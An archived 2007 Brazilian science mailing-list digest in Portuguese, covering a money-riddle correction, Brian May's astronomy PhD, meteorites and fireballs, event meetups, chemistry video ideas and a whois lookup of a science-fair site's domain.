> EMPRESTADOS R$ 250,00 A CADA UM E FICO COM R$500,00.

Neste ponto, você deve R$950,00.

>
> VOU ENTÃO AS CASAS BAHIA E QUITO A MINHA DIVIDA DE R$450,00 E ME
SOBRAM R$
> 50,00.

Neste ponto, você deve R$500,00

>
> VOU ATÉ A MINHA CASA E DEIXO LÁ R$ 30,00. E LEVO R$ 20,00 COMIGO.

Continua devendo R$500,00.

> DIRIJO-ME AOS DOIS AMIGOS E DEVOLVO R$ 10,00 A CADA, E ASSIM FICO
DEVENDO R$
> 240,00 A CADA UM DELES. 240,00 + 240,00 É IGUAL A 480,00,

Você está devendo R$480,00.

> MAS EM CASA TENHO
> OS R$ 30,00, QUE SOMADOS PERFAZEM R$ 510,00!!!

A soma é um erro contábil. Você não tem R$510,00, você tem uma dívida
de R$480,00 e tem uma disponibilidade de R$30,00. Pode abater a dívida
com este dinheiro, reduzindo ela para R$450,00, mas não pode somar com
a dívida, por que são coisas diferentes.

Se você quer saber quanto tem, você abate os R$30,00 da sua dívida de
R$480,00, e fica com o valor real: uma dívida de R$450,00.



SUBJECT: Re: [ciencialist] Re: I Jornada em Defesa do Pensamento Científico
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/09/2007 11:59

Oi Roberto,

onde eu o encontro amanhã cedo? Pode ser numa das estações de metro?
Para mim, pois já conheço, seria interessante a Estação Paraíso. Como vou chegar muito cedo de ônibus (coisa de 6:00 h da matina), vou ao 'paraíso, ... e lá fico fazendo hora até vc chegar e irmos para o campus da USP (será que vou encontrar o Dr. Hambúrguer por lá? --- seria bom para o café da manhã :-))

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 17 de setembro de 2007 10:46
Assunto: [ciencialist] Re: I Jornada em Defesa do Pensamento Científico


Lembrete: o evento é amanhã (18/09/2007).

www.haaan.com/reflexoes

[]s,

Roberto Takata




SUBJECT: Re: [ciencialist] Músico Astrônomo
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/09/2007 13:22

Caro Victor,

Se Brian May vai ser considerado um "roqueiro-cientista" ou um
"cientista-roqueiro" dependerá um pouco do ponto de vista de cada um. Já
estará de bom tamanho se a maioria dos fãs conseguir entender que o trabalho
dele não tem nada a ver com astrologia...

Quanto ao "God Save the Queen", não foi exatamente à monarquia que eu quis
me referir...:o)

[ ]s

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br



----- Original Message -----
From: "J.Victor" <j.victor.neto@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, September 16, 2007 7:05 AM
Subject: RES: [ciencialist] Músico Astrônomo


Só espero, e torço por isso, que o Brian torne-se uma celebridade não pelo
inusitado de ser um roqueiro que virou cientista, mas pelo fato do cientista
que foi roqueiro. O que se evidenciará pelos seus trabalhos na área, que se
forem do tamanho que parecem, estaremos bem servidos.

Sinceramente, vou estar esperando com muita atenção e interesse qualquer
trabalho seu que seja publicado, na área. Espero que seja "lível".

Ele passou na argüição oral, que é dura e difícil, e certamente não o foi
pela fama que já tem.

Em passant, a respeito de "God save the Queen!":

É incrível como, ainda hoje, sociedades como a inglesa, ou a japonesa, ainda
prestam um culto, como muita devoção, a um de seus iguais, eleitos como
dirigente máximo, com os títulos de rei, rainha, imperador.

Ah, e não sei a razão pela qual estou dizendo isso! Debaixo de nosso nariz,
uma grande maioria também faz o mesmo, elegendo alguns dirigentes como
salvadores da pátria, o cão chupando manga, a luz no fim do túnel, com
direito a retratos tipo santinho e tudo o mais, como aconteceu com:
Brizola(que era um homem sério, em minha opinião, embora meio equivocado),
Collor de Melo(futuro presidente desta sofrida república), e o atual Lulla(
que só não será um eterno mandante por causa de interêsses políticos desses
do Congresso; se depender do povão, créu, estará lá), para citar apenas os
kings e queens nossos de cada dia.

Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Alvaro Augusto (L)
Enviada em: sábado, 15 de setembro de 2007 20:00
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Músico Astrônomo



Informo que Brian May já pode ser considerado "quase PhD". Ele passou na
arguição oral e deve agora fazer algumas correções no trabalho escrito para
receber o título, o que deve ocorrer em maio de 2008. Mais informações em
http://news.bbc.co.uk/1/hi/entertainment/6961171.stm

God save the Queen!

[ ]s

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br <mailto:alvaro%40lunabay.com.br>

----- Original Message -----
From: "J.Victor" <j.victor.neto@uol.com.br
<mailto:j.victor.neto%40uol.com.br> >
To: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Sent: Saturday, August 04, 2007 6:53 AM
Subject: [ciencialist] Músico Astrônomo

Olá, todos,

Nunca é tarde demais. Eis o que mostra Brian May.
Passou parte de sua junventude "dando duro" como guitarrista.
A outra parte, a que lhe resta, dará "duro" trabalhando em ciência.
No caso a astronomia. Só quero saber dos resultados a que chegará a banca
examinadora.
É bastante curiorioso: nunca haver se afastado da astronomia e seus suportes

teóricos. Curioso e inusitado.
Não é fácil afastar-se por tanto tempo e manter-se "azeitado" no mister.l
O cara deve o "tampa de crush".

Sds,
Victor.

03/08/2007 - 14h41
Guitarrista do Queen entrega tese de PhD após 36 anos

Stan Honda/AFP

Guitarrista do Queen, Brian May durante show no Rock and Roll Hall of
Fame, em Nova York, EUA (2001)

O guitarrista Brian May entregou sua tese de PhD em astronomia nesta
sexta-feira, 36 anos depois de abandonar os estudos para se juntar à banda
Queen.

O músico fez trabalhos de observação astronômica recentemente em Tenerife,
nas Ilhas Canárias (Espanha), onde estudou a formação de "nuvens de poeira
zodiacal".

O assunto forma a base da tese de 48 mil palavras para o Imperial College de

Londres, onde May - de 60 anos - estudava antes de se juntar ao Queen.

"Foi o maior período sábatico já registrado. Na época, foi uma decisão
difícil deixar meus estudos pela música", disse o guitarrista.

"Estou muito orgulhoso por estar aqui hoje", acrescentou. "Astronomia sempre

foi meu interesse." May entregou a tese, chamada "Velocidades Radiais na
Nuvem de Poeira Zodiacal", para o chefe de astrofísica do Imperial College,
o professor Paul Nandra.

O guitarrista deve discutir a tese com um painel de examinadores no dia 23
de agosto, de acordo com seu porta-voz. Os resultados deverão ser conhecidos

logo depois desta data.

"Se eu fracassar, será grande", disse May. "Será um fracasso muito público
com toda esta divulgação." O guitarrista também prepara um concerto para
marcar a inauguração de um telescópio em um observatório astronômico em
Tenerife, onde completou os estudos em julho.

"Não tenho dúvidas de que Brian May teria tido uma brilhante carreira em
ciências, se tivesse completado seu PhD em 1971", disse o astrofísico Garik
Israelian, que trabalhou com May em Tenerife.

"No entanto, como fã do Queen, fico feliz que ele tenha deixando a ciência
temporariamente", acrescentou.

May fez suas primeiras observações astronômicas para sua tese no
Observatório del Teide, em Tenerife, em 1971, antes do sucesso com o Queen.

Recentemente, o guitarrista publicou um livro de astronomia em parceria com
o apresentador de um programa da televisão britânica Patrick Moore.

[As partes desta mensagem que não continham texto foram removidas]

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SUBJECT: Coletando micrometeoritos
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/09/2007 16:27

Serah que funciona isso de coletar micrometeoritos na agua da chuva?

http://www.kyes-world.com/micrometeorites.htm

Parece trabalhoso.
Serah que nao poderia ser confundido com poeira?

Ateh
Luis Brudna


SUBJECT: Re: Coletando micrometeoritos
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/09/2007 17:08

--- Em ciencialist@yahoogrupos.com.br, "Luis Brudna" <luisbrudna@...>
escreveu
>
> http://www.kyes-world.com/micrometeorites.htm
>
> Parece trabalhoso.
> Serah que nao poderia ser confundido com poeira?

O aspecto dos micrometeoritos é diferente dos grãos de poeira. Por
outro lado, qual a proporção de ferro nos grãos de poeira?

http://rgregio.astrodatabase.net/micrometeoritos.htm
http://www.solarviews.com/portug/edu/micromet.htm
http://es.geocities.com/gas_astronomia/meteoros/micrometeoritos.html
http://www.espacial.org/planetarias/crateres/superbolidos1.htm

[]s



SUBJECT: Feira de Ciências ... O Retorno!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/09/2007 17:18

Já estamos on-line!
Agora com atualizações restritas aos colaboradores (que já são 4! --- logo, para esse semestre -- setembro a fevereiro -- já tenho R$ 20,00 para os gastos!).

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br
===========================


SUBJECT: Vídeos de “UFOs solares” (Balovnis)
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 17/09/2007 17:20

Vídeos de "UFOs solares"
(Balovnis)<http://www.ceticismoaberto.com/news/?p=983>Assista
ao vídeo <http://www.ceticismoaberto.com/news/?p=983>

Em vôo. Continue lendo para mais vídeos

Leia o resto desta entrada
»<http://www.ceticismoaberto.com/news/?p=983#more-983>


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SUBJECT: Bola de fogo passa sobre os EUA
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 17/09/2007 17:37

Bola de fogo passa sobre os EUA <http://www.ceticismoaberto.com/news/?p=984>

Assista ao v�deo <http://www.ceticismoaberto.com/news/?p=984>

Em 13 de setembro, aproximadamente �s tr�s horas da manh�, uma bola de fogo
extremamente brilhante cruzou os c�us do Novo M�xico, EUA. "Foi
aterrorizante", disse a testemunha ocular Susan K. Burgess. "Eu estava
observando as estrelas fora de minha casa em Santa Fe quando a paisagem
come�ou a ficar muito clara, como se uma Lua cheia brilhante estivesse se
elevando do sudoeste. A bola de fogo em si [se moveu lentamente] sobre a
casa e se desintegrou com bastante espalhamento no c�u noroeste".
Voc� confere acima o v�deo do evento capturado pela c�mera Sentinel all-sky,
do Sandia National Labs em Albuquerque. Baseado nos dados do v�deo,
estima-se que a magnitude visual do b�lido tenha sido de -14,6, ou *quase
quatro vezes mais brilhante que a Lua cheia!*
"A bola de fogo era de um verde esmeralda puro, desconfortavelmente
brilhante se observada diretamente", adiciona Harald Edens localizado nas
MOntanhas Magdalena, a oeste de Socorro. "O objeto estava se desintegrando
quando eu o vi, com peda�os caindo de forma paralela e no rastro da bola de
fogo. Estes peda�os menores tinham todos cores diferentes � mais
notavelmente vermelha. Eu acho que era um peda�o de sucata espacial".
O r�dio-astr�nomo amador Thomas Ashcraft n�o apenas fotografou a bola de
fogo, como tamb�m registrou ecos de uma esta��o de r�dio distante refletindo
a trilha ionizada do meteoro:

Assista ao v�deo <http://www.ceticismoaberto.com/news/?p=984>

"Essa bola de fogo transformou a noite em dia!", ele diz.
[De SpaceWeather.com <http://spaceweather.com/>]
Veja tamb�m

- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=201>Bola de fogo? A imagem �
espetacular, parecendo ser um enorme meteoro, u...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=193>Bola de fogo: mais O
Space.com tem um artigo sobre a not�vel fotografia ...
- Mais outra reentrada, agora no
sul?<http://www.ceticismoaberto.com/news/?p=881>Recebemos e-mails
(incluindo de pessoas amea�adas por homens de pre...
- Reentrada da Soyuz-U avistada do Rio Grande do Sul a S�o
Paulo<http://www.ceticismoaberto.com/news/?p=885>Como indicado no post
anterior, o b�lido (ou "bola de fogo") visto ...
- Rel�mpagos globulares no conforto de seu
laborat�rio<http://www.ceticismoaberto.com/news/?p=691>�
direita, Eli Jerby e Vladimir Dikhtyar com o rel�mpago globu...


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SUBJECT: Meteorito cai e provoca cratera de 30 metros
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 17/09/2007 17:42

Meteorito cai e provoca cratera de 30
metros<http://www.ceticismoaberto.com/news/?p=985>

Um meteorito caiu na noite de sábado (15) na região peruana de Puno, perto
da fronteira com a Bolívia, formando uma cratera de 30 metros de diâmetro e
seis de profundidade, informou hoje a imprensa local.
Segundo fontes da Direção Territorial da Polícia, os alarmados habitantes da
região ouviram um grande barulho, que parecia ser de um avião em queda.
Posteriormente, as testemunhas viram no céu um objeto luminoso em chamas que
se chocou contra a terra, produzindo uma explosão que deixou restos de
matéria carbonizados.
O meteorito não feriu nenhuma pessoa, mas as autoridades investigam se os
restos achados na região são de animais que podem ter morrido carbonizados
em virtude da explosão. Os camponeses da localidade temem o surgimento de
alguma doença, já que lascas de chumbo e prata foram liberadas no choque do
fragmento de meteoro com o solo, informou a emissora local "RPP".
O membro da Academia Nacional de Ciências Modesto Montoya disse à agência
estatal Andina que a queda de meteoritos no Peru não provoca perigo algum, a
não ser que atinjam alguma estrutura. "Nenhum dos vários meteoritos que caem
no Peru e fazem perfurações de tamanhos variados são prejudiciais para
pessoas, salvo que caiam em uma casa", disse Montoya.
Em junho, outro meteorito caiu na colina Mascapampa, na província de
Arequipa (sul), deixando a população alarmada.

[via UOLnews<http://noticias.uol.com.br/ultnot/efe/2007/09/17/ult1809u12978.jhtm>e
ElMundo <http://www.elmundo.es/elmundo/2007/09/17/ciencia/1190050481.html>,
EFE, Matias Morey]
Curiosamente, o meteorito caiu quase exatamente um mês após o grave
terremoto que assolou o Peru, em 15 de agosto. Felizmente desta vez não
houve nenhuma vítima.
Veja também

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<http://www.ceticismoaberto.com/news/?p=567>NASA: Rover "Opportunity"
dirige-se a objeto artificial em Marte Clique n...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=266>Meteorito na Espanha Mais
em espanhol, com imagens e vídeo aqui. [via Ma...
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<http://www.ceticismoaberto.com/news/?p=551>Meteorito Inseto na
Austrália Depois que a foto de Darwin, Austrália, f...
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<http://www.ceticismoaberto.com/news/?p=350>Cientistas fotografam
dinossauro rosa Uma webcam instalada na cratera de ...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=79>Fácil ou difícil? Existe
uma história famosa sobre um matemático e fí...

Postado em Miscelânea <http://www.ceticismoaberto.com/news/?cat=13>,
Ciência <http://www.ceticismoaberto.com/news/?cat=11>,
Curiosidades<http://www.ceticismoaberto.com/news/?cat=7>,
Fortianismo <http://www.ceticismoaberto.com/news/?cat=4> | Por Mori Comente!
» <http://www.ceticismoaberto.com/news/?p=985#respond>


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SUBJECT: Re: [ciencialist] Bola de fogo passa sobre os EUA
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/09/2007 17:53

Serah que eh um parente?!

"Queda de meteorito provoca cratera de 30 metros de diâmetro e seis de
profundidade na região peruana de Puno, perto da fronteira com a
Bolívia, no fim de semana"
http://noticias.uol.com.br/ultnot/efe/2007/09/17/ult1809u12978.jhtm

Ateh
Luis Brudna


On 9/17/07, Kentaro Mori <kentaro.mori@gmail.com> wrote:
> Bola de fogo passa sobre os EUA <http://www.ceticismoaberto.com/news/?p=984>
>
> Assista ao vídeo <http://www.ceticismoaberto.com/news/?p=984>
>
> Em 13 de setembro, aproximadamente às três horas da manhã, uma bola de fogo
> extremamente brilhante cruzou os céus do Novo México, EUA. "Foi
> aterrorizante", disse a testemunha ocular Susan K. Burgess. "Eu estava
> observando as estrelas fora de minha casa em Santa Fe quando a paisagem
> começou a ficar muito clara, como se uma Lua cheia brilhante estivesse se
> elevando do sudoeste. A bola de fogo em si [se moveu lentamente] sobre a
> casa e se desintegrou com bastante espalhamento no céu noroeste".
> Você confere acima o vídeo do evento capturado pela câmera Sentinel all-sky,
> do Sandia National Labs em Albuquerque. Baseado nos dados do vídeo,
> estima-se que a magnitude visual do bólido tenha sido de -14,6, ou *quase
> quatro vezes mais brilhante que a Lua cheia!*
> "A bola de fogo era de um verde esmeralda puro, desconfortavelmente
> brilhante se observada diretamente", adiciona Harald Edens localizado nas
> MOntanhas Magdalena, a oeste de Socorro. "O objeto estava se desintegrando
> quando eu o vi, com pedaços caindo de forma paralela e no rastro da bola de
> fogo. Estes pedaços menores tinham todos cores diferentes — mais
> notavelmente vermelha. Eu acho que era um pedaço de sucata espacial".
> O rádio-astrônomo amador Thomas Ashcraft não apenas fotografou a bola de
> fogo, como também registrou ecos de uma estação de rádio distante refletindo
> a trilha ionizada do meteoro:
>
> Assista ao vídeo <http://www.ceticismoaberto.com/news/?p=984>
>
>


SUBJECT: Re: [ciencialist] Feira de Ciências ... O Retorno!
FROM: "Prof. Emiliano Chemello" <chemelloe@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/09/2007 18:07

Oi Léo. Parabéns pelo retorno. Vou olhar meu orçamento e ver se posso contribuir. Um abraço! Emiliano

Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu: Já estamos on-line!
Agora com atualizações restritas aos colaboradores (que já são 4! --- logo, para esse semestre -- setembro a fevereiro -- já tenho R$ 20,00 para os gastos!).

aquele abraço,
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Músico Astrônomo
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/09/2007 19:47


Álvaro,





De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Alvaro Augusto (L)
Enviada em: segunda-feira, 17 de setembro de 2007 13:23
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Músico Astrônomo



Caro Victor,

Álvaro:Se Brian May vai ser considerado um "roqueiro-cientista" ou um
"cientista-roqueiro" dependerá um pouco do ponto de vista de cada um. Já
estará de bom tamanho se a maioria dos fãs conseguir entender que o trabalho

dele não tem nada a ver com astrologia...

Victor: Prefiro cientista-roqueiro.


Álvaro: Quanto ao "God Save the Queen", não foi exatamente à monarquia que
eu quis
me referir...:o)

Victor: Eu sei. O comentário foi genérico, aproveitando o gancho.

Sds,

Victor.



[ ]s

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br <mailto:alvaro%40lunabay.com.br>

----- Original Message -----
From: "J.Victor" <j.victor.neto@uol.com.br
<mailto:j.victor.neto%40uol.com.br> >
To: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Sent: Sunday, September 16, 2007 7:05 AM
Subject: RES: [ciencialist] Músico Astrônomo

Só espero, e torço por isso, que o Brian torne-se uma celebridade não pelo
inusitado de ser um roqueiro que virou cientista, mas pelo fato do cientista
que foi roqueiro. O que se evidenciará pelos seus trabalhos na área, que se
forem do tamanho que parecem, estaremos bem servidos.

Sinceramente, vou estar esperando com muita atenção e interesse qualquer
trabalho seu que seja publicado, na área. Espero que seja "lível".

Ele passou na argüição oral, que é dura e difícil, e certamente não o foi
pela fama que já tem.

Em passant, a respeito de "God save the Queen!":

É incrível como, ainda hoje, sociedades como a inglesa, ou a japonesa, ainda
prestam um culto, como muita devoção, a um de seus iguais, eleitos como
dirigente máximo, com os títulos de rei, rainha, imperador.

Ah, e não sei a razão pela qual estou dizendo isso! Debaixo de nosso nariz,
uma grande maioria também faz o mesmo, elegendo alguns dirigentes como
salvadores da pátria, o cão chupando manga, a luz no fim do túnel, com
direito a retratos tipo santinho e tudo o mais, como aconteceu com:
Brizola(que era um homem sério, em minha opinião, embora meio equivocado),
Collor de Melo(futuro presidente desta sofrida república), e o atual Lulla(
que só não será um eterno mandante por causa de interêsses políticos desses
do Congresso; se depender do povão, créu, estará lá), para citar apenas os
kings e queens nossos de cada dia.

Sds,

Victor.

De: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>
[mailto:ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> ]
Em nome de Alvaro Augusto (L)
Enviada em: sábado, 15 de setembro de 2007 20:00
Para: ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br>
Assunto: Re: [ciencialist] Músico Astrônomo

Informo que Brian May já pode ser considerado "quase PhD". Ele passou na
arguição oral e deve agora fazer algumas correções no trabalho escrito para
receber o título, o que deve ocorrer em maio de 2008. Mais informações em
http://news.bbc.co.uk/1/hi/entertainment/6961171.stm

God save the Queen!

[ ]s

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br <mailto:alvaro%40lunabay.com.br>
<mailto:alvaro%40lunabay.com.br>

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From: "J.Victor" <j.victor.neto@uol.com.br
<mailto:j.victor.neto%40uol.com.br>
<mailto:j.victor.neto%40uol.com.br> >
To: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br>
<mailto:ciencialist%40yahoogrupos.com.br> >
Sent: Saturday, August 04, 2007 6:53 AM
Subject: [ciencialist] Músico Astrônomo

Olá, todos,

Nunca é tarde demais. Eis o que mostra Brian May.
Passou parte de sua junventude "dando duro" como guitarrista.
A outra parte, a que lhe resta, dará "duro" trabalhando em ciência.
No caso a astronomia. Só quero saber dos resultados a que chegará a banca
examinadora.
É bastante curiorioso: nunca haver se afastado da astronomia e seus suportes

teóricos. Curioso e inusitado.
Não é fácil afastar-se por tanto tempo e manter-se "azeitado" no mister.l
O cara deve o "tampa de crush".

Sds,
Victor.

03/08/2007 - 14h41
Guitarrista do Queen entrega tese de PhD após 36 anos

Stan Honda/AFP

Guitarrista do Queen, Brian May durante show no Rock and Roll Hall of
Fame, em Nova York, EUA (2001)

O guitarrista Brian May entregou sua tese de PhD em astronomia nesta
sexta-feira, 36 anos depois de abandonar os estudos para se juntar à banda
Queen.

O músico fez trabalhos de observação astronômica recentemente em Tenerife,
nas Ilhas Canárias (Espanha), onde estudou a formação de "nuvens de poeira
zodiacal".

O assunto forma a base da tese de 48 mil palavras para o Imperial College de

Londres, onde May - de 60 anos - estudava antes de se juntar ao Queen.

"Foi o maior período sábatico já registrado. Na época, foi uma decisão
difícil deixar meus estudos pela música", disse o guitarrista.

"Estou muito orgulhoso por estar aqui hoje", acrescentou. "Astronomia sempre

foi meu interesse." May entregou a tese, chamada "Velocidades Radiais na
Nuvem de Poeira Zodiacal", para o chefe de astrofísica do Imperial College,
o professor Paul Nandra.

O guitarrista deve discutir a tese com um painel de examinadores no dia 23
de agosto, de acordo com seu porta-voz. Os resultados deverão ser conhecidos

logo depois desta data.

"Se eu fracassar, será grande", disse May. "Será um fracasso muito público
com toda esta divulgação." O guitarrista também prepara um concerto para
marcar a inauguração de um telescópio em um observatório astronômico em
Tenerife, onde completou os estudos em julho.

"Não tenho dúvidas de que Brian May teria tido uma brilhante carreira em
ciências, se tivesse completado seu PhD em 1971", disse o astrofísico Garik
Israelian, que trabalhou com May em Tenerife.

"No entanto, como fã do Queen, fico feliz que ele tenha deixando a ciência
temporariamente", acrescentou.

May fez suas primeiras observações astronômicas para sua tese no
Observatório del Teide, em Tenerife, em 1971, antes do sucesso com o Queen.

Recentemente, o guitarrista publicou um livro de astronomia em parceria com
o apresentador de um programa da televisão britânica Patrick Moore.

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SUBJECT: Re: [ciencialist] Re: I Jornada em Defesa do Pensamento Científico
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/09/2007 22:15

Oi Roberto,

como vc não respondeu à minha solicitação de encontro num metrô, irei direto para a Cid. Universitária (se achar, ainda, o caminho das pedras!).
Te encontro lá! Inté.

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 17 de setembro de 2007 10:46
Assunto: [ciencialist] Re: I Jornada em Defesa do Pensamento Científico


Lembrete: o evento é amanhã (18/09/2007).

www.haaan.com/reflexoes

[]s,

Roberto Takata



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SUBJECT: Re: I Jornada em Defesa do Pensamento Científico
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/09/2007 01:38

Salve, Prof. Leo.

Tenho q estar lá bem cedo, infelizmente não poderei acompanhá-lo.

Encontramo-nos lá então.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> como vc não respondeu à minha solicitação de encontro num metrô,
> irei direto para a Cid. Universitária (se achar, ainda, o caminho
> das pedras!).
> Te encontro lá! Inté.




SUBJECT: Re: [ciencialist] Re: I Jornada em Defesa do Pensamento Científico
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/09/2007 09:35

Desisti às 23:00 h --- bilhete comprado e tudo --- mas o corpo não queria acompanhar meus pensamentos. Sorry!
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 18 de setembro de 2007 01:38
Assunto: [ciencialist] Re: I Jornada em Defesa do Pensamento Científico


Salve, Prof. Leo.

Tenho q estar lá bem cedo, infelizmente não poderei acompanhá-lo.

Encontramo-nos lá então.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> como vc não respondeu à minha solicitação de encontro num metrô,
> irei direto para a Cid. Universitária (se achar, ainda, o caminho
> das pedras!).
> Te encontro lá! Inté.




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SUBJECT: Produção audiovisual sobre a Química
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/09/2007 17:30

Colegas, estou tendo que propor uma produção audiovisual, com no
mínimo 3 episódios de 7 a 10 minutos cada, sobre algum tema relevante
da Química. O tipo da mídia pode ser qualquer um, mas temos facilidade
para a criação de desenhos animados.
Quem se habilita a sugerir um tema?
Abraços,
Esteban.


SUBJECT: Re: [ciencialist] Produção audiovisual sobre a Química
FROM: Nando <nando.str@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/09/2007 18:13

Esteban Moreno wrote:
> Colegas, estou tendo que propor uma produção audiovisual, com no
> mínimo 3 episódios de 7 a 10 minutos cada, sobre algum tema relevante
> da Química. O tipo da mídia pode ser qualquer um, mas temos facilidade
> para a criação de desenhos animados.
> Quem se habilita a sugerir um tema?
> Abraços,
> Esteban.

Qual o público?


SUBJECT: Re: Produção audiovisual sobre a Química
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/09/2007 18:32

História da química, biografia de químicos famosos.

Do que são feitos os homens: De Demócrito à tabela periódica (e aos
quarks e léptons).

As surpreendentes propriedades da água (por q a água é um solvente
universal? por q ela flutua qdo se congela? o q é o efeito Mpemba?...).

Movendo o mundo: Como funciona uma pilha? E a usina nuclear? E a
fotossíntese? E de onde vem a energia do petróleo?

Uma questão de gosto: o faz os doces serem doces? e os adoçantes
sintéticos são mesmo sem calorias? o q é o umami?

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Esteban Moreno"
<estebanlmoreno@...> escreveu
>
> Colegas, estou tendo que propor uma produção audiovisual, com no
> mínimo 3 episódios de 7 a 10 minutos cada, sobre algum tema
> relevante da Química. O tipo da mídia pode ser qualquer um, mas
> temos facilidade para a criação de desenhos animados.
> Quem se habilita a sugerir um tema?
> Abraços,
> Esteban.



SUBJECT: FeiradeCiencias em Dallas!
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/09/2007 23:19

Olá a todos!

O site feiradeciencias foi para os US!

Parabéns a todos nós bRaSiLeIrOs.

Ou estou enganado?

chekini:~# whois www.feiradeciencias.com.br

% Copyright (c) Nic.br
% The use of the data below is only permitted as described in
% full by the terms of use (http://registro.br/termo/en.html),
% being prohibited its distribution, comercialization or
% reproduction, in particular, to use it for advertising or
% any similar purpose.
% 2007-09-19 22:54:21 (BRT -03:00)

domain: feiradeciencias.com.br
owner: Ferraz & Ferraz S/C Ltda
ownerid: 001.969.707/0001-73
responsible: Luiz Ferraz Neto
owner-c: FSO51
admin-c: FSO51
tech-c: FSO51
billing-c: LFN103
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nsstat: 20070917 AA
nslastaa: 20070917
nserver: dns2.ultrawindows.com.br
nsstat: 20070917 AA
nslastaa: 20070917
created: 19991214 #232181
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changed: 20070917
status: published

nic-hdl-br: FSO51
person: Fernando Silva de Oliveira
e-mail: fapesp@ultraespaco.com
created: 20030730
changed: 20050612

